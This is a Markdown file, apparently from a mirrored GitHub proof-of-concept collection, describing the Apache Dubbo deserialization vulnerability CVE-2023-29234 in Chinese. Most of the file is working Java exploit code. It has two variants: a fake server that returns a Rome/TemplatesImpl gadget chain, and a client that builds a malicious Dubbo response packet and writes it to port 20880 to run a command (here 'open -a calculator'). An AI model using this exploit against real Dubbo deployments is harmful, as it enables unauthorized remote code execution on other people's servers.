mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-29 01:30:21 +00:00
100 lines
3.7 KiB
Markdown
100 lines
3.7 KiB
Markdown
## Apache Dubbo 反序列化漏洞(CVE-2023-29234)
|
||
|
||
Apache Dubbo 是一款微服务开发框架,它提供了RPC通信与微服务治理两大关键能力。使应用可通过高性能的 RPC 实现服务的输出和输入功能,可以和 Spring 框架无缝集成。
|
||
Apache Dubbo 某些版本在解码恶意包时存在反序列化漏洞,远程攻击者可利用该漏洞执行任意代码。
|
||
|
||
## 影响版本
|
||
```
|
||
3.1.0<=Apache Dubbo<=3.1.10
|
||
3.2.0<=Apache Dubbo<=3.2.4
|
||
```
|
||
|
||
## 利用方式一:fake server
|
||
```
|
||
@Override
|
||
protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
|
||
Result result = (Result) data;
|
||
// currently, the version value in Response records the version of Request
|
||
boolean attach = Version.isSupportResponseAttachment(version);
|
||
// Throwable th = result.getException();
|
||
Object th = null; // 利用点: 用于 toString 的 gadget chain
|
||
try {
|
||
th = getThrowablePayload("open -a calculator");
|
||
} catch (Exception e) {
|
||
|
||
}
|
||
|
||
if (th == null) {
|
||
Object ret = result.getValue();
|
||
if (ret == null) {
|
||
out.writeByte(attach ? RESPONSE_NULL_VALUE_WITH_ATTACHMENTS : RESPONSE_NULL_VALUE);
|
||
} else {
|
||
out.writeByte(attach ? RESPONSE_VALUE_WITH_ATTACHMENTS : RESPONSE_VALUE);
|
||
out.writeObject(ret);
|
||
}
|
||
} else {
|
||
out.writeByte(attach ? RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS : RESPONSE_WITH_EXCEPTION);
|
||
// out.writeThrowable(th);
|
||
out.writeObject(th); // 直接序列化对象即可
|
||
}
|
||
|
||
if (attach) {
|
||
// returns current version of Response to consumer side.
|
||
result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion());
|
||
out.writeAttachments(result.getObjectAttachments());
|
||
}
|
||
}
|
||
```
|
||
|
||
## 利用方式二:客户端打服务端
|
||
```
|
||
public static void main(String[] args) throws Exception {
|
||
|
||
ByteArrayOutputStream boos = new ByteArrayOutputStream();
|
||
ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
|
||
Serialization serialization = new NativeJavaSerialization();
|
||
NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);
|
||
|
||
// header.
|
||
byte[] header = new byte[HEADER_LENGTH];
|
||
// set magic number.
|
||
Bytes.short2bytes(MAGIC, header);
|
||
// set request and serialization flag.
|
||
header[2] = serialization.getContentTypeId();
|
||
|
||
header[3] = Response.OK;
|
||
Bytes.long2bytes(1, header, 4);
|
||
|
||
// result
|
||
Object exp = getThrowablePayload("open -a calculator"); // Rome toString 利用链
|
||
out.writeByte(RESPONSE_WITH_EXCEPTION);
|
||
out.writeObject(exp);
|
||
|
||
out.flushBuffer();
|
||
|
||
Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
|
||
boos.write(header);
|
||
boos.write(nativeJavaBoos.toByteArray());
|
||
|
||
byte[] responseData = boos.toByteArray();
|
||
|
||
Socket socket = new Socket("127.0.0.1", 20880);
|
||
OutputStream outputStream = socket.getOutputStream();
|
||
outputStream.write(responseData);
|
||
outputStream.flush();
|
||
outputStream.close();
|
||
}
|
||
|
||
protected static Object getThrowablePayload(String command) throws Exception {
|
||
Object o = Gadgets.createTemplatesImpl(command);
|
||
ObjectBean delegate = new ObjectBean(Templates.class, o);
|
||
|
||
return delegate;
|
||
}
|
||
```
|
||

|
||
|
||
## 漏洞来源
|
||
- https://xz.aliyun.com/t/13187#toc-3
|
||
- https://github.com/RacerZ-fighting/DubboPOC
|